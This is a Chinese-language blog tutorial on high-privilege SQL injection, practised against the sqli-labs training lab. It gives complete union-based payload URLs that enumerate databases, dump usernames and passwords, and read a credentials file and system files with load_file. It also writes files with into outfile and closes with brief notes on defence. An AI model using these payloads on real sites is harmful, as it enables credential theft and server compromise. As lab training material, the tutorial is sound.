• SQL注入之高权限注入


    SQL注入之高权限注入

    简介

    在常规WEB网站架构中可能存在不同的网站对应不同的数据库不同的管理用户,不同的用户拥有对数据库不同的操作权限,因此获取高权限用户可以帮助我们更好的进行测试

    '''
    1:网站A--->数据库A---->用户A
    1:网站B--->数据库B---->用户B
    1:网站C--->数据库C---->用户C
    '''
    

    作用

    • 跨库查询:跨越当前数据库对别的数据库进行查询
    • 文件读写:利用注入对文件进行读取或者写入
      • 存在魔术引号:编码/宽字节绕过
      • 不存在魔术引号

    靶场测试

    跨库注入

    判断字段数量

    # 根据测试此时order by为3的时候页面正常因此字段数量为3
    http://10.1.1.20/sqilabs/Less-2/?id=2 order by 3
    

    image-20210715230325904

    报错回显

    http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,2,3
    

    image-20210715230627084

    查询所有数据库名称

    http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(SCHEMA_NAMA),user() from information_schema.schemata 
    

    image-20210715231257140

    查询数据库对应的表名

    http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
    

    image-20210715231817088

    查询表名对应的字段名

    # 指定数据库名称防止有太多数据库中含有users表
    http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schma='pikachu'
    

    image-20210715232117135

    查询数据

    # 指定所需要查询数据库对应的表
    http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,username,password from pikachu.users
    

    image-2021071523224553

    文件读写

    读写方法

    • 读取操作:load_file
    • 写入方法:into outfile/into dumpfile

    load_file

    在MySQL中使用该函数需要满足如下条件

    • 对目标文件拥有读取权限
    • secure_file_priv
    show global variables like "secure_file_priv";
    

    image-20210716000350663

    # 修改secure_file_privsudo vim /etc/mysql/my.cnf	secure_file_priv=''# 重启mysql服务sudo systemctl restart mysqlshow global variables like '%secure_file_priv%';
    

    image-20210716001316292

    # 读取文件SELECT LOAD_FILE('/etc/hosts');
    

    image-20210716001856819

    into outfile

    # 在/home/sean下书写一个文件hello.txt 内容为hello worldselect "hello world" into outfile "/home/sean/hello.txt"
    

    image-20210717172407687

    # 查看权限SHOW VARIABLES LIKE 'datadir';
    

    image-20210717172517894

    # 将写入文件修改上述目录select "hello world" into outfile "/var/lib/mysql/hello.txt"
    

    image-20210717172654872

    获取网站路径

    • 报错显示:输入错误代码使网站报错可能会显示出文件目录
    • 遗留文件:一些网站需要测试可能会有一些测试文件测试文件会有网站路径(例如:phpinfo)
    • 报错显示:知道网站使用的主题或者框架查询对应的文件路径
    • 配置文件:通过读取网站配置文件获取相应的路径
    • 爆破:例如一些常见的配置路径

    读取/写入

    读取

    # 小白只是为了学习默认知道文件路径
    http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,load_file("/www/admin/localhost_80/wwwroot/sqilabs/sql-connections/db-creds.inc"),3 
    

    image-20210717185537218

    写入

    # 注入恶意代码使用--+注释源代码的limit 0,1
    http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,"hello world",3 into outfile "/www/hello.txt" --+
    

    魔术引号

    魔术引号若是打开的话,所有的反斜线()、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义

    magic_quotes_gpc(),当此值为1时,会对HTTP请求中的GetPost,Cookie单双引号和反斜线进行转义;反之则不会。该操作一般见于表单提交的数据库操作,若是值为0时,便用addslashes进行转义存入数据库中,取出时再用stripslashes函数把反斜线给去掉

    安全防护

    防护方法

    • 魔术引号
    • 内置函数:例如使用int函数对传入的id进行判断不是整数就拒绝带入MySQL查询
    • 自定义select查询
    • 安全防护软件:安全狗,宝塔等
  • 相关阅读:
    计算fibonacci数(多种方法)
    数组求和(两种方法)
    C语言二级指针(指向指针的指针)
    唯品会海量实时OLAP分析技术升级之路
    hive 调优(一)coding调优
    supsplk 服务器被植入木马 挖矿 cpu使用 700%
    OPTS参数设置
    Yarn 内存分配管理机制及相关参数配置
    hive on tez 任务失败
    hive 调优(三)tez优化
  • 原文地址:https://www.cnblogs.com/SR-Program/p/15027368.html
Copyright © 2020-2023  润新知